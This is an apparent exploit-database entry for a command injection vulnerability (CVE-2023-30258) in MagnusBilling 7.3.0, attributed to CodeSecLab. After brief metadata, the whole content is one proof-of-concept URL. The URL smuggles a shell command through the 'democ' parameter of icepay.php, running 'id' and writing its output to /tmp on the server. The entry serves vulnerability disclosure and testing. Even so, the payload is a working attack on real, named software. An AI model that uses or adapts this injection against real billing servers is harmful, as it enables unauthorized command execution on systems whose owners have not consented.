MagnusSolution magnusbilling 7.3.0 - Command Injection

Author: CodeSecLab
type: webapps
platform: multiple
port: nan
date_added: 2025-04-11 
date_updated: 2025-04-13 
verified: 0 
codes: CVE-2023-30258 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: MagnusSolution magnusbilling 7.3.0 - Command Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/magnussolution/magnusbilling7
# Software Link: https://github.com/magnussolution/magnusbilling7
# Version: 7.3.0
# Tested on: Centos
# CVE : CVE-2023-30258


# PoC URL for Command Injection

http://magnusbilling/lib/icepay/icepay.php?democ=testfile; id > /tmp/injected.txt

Result: This PoC attempts to inject the id command.

[Replace Your Domain Name]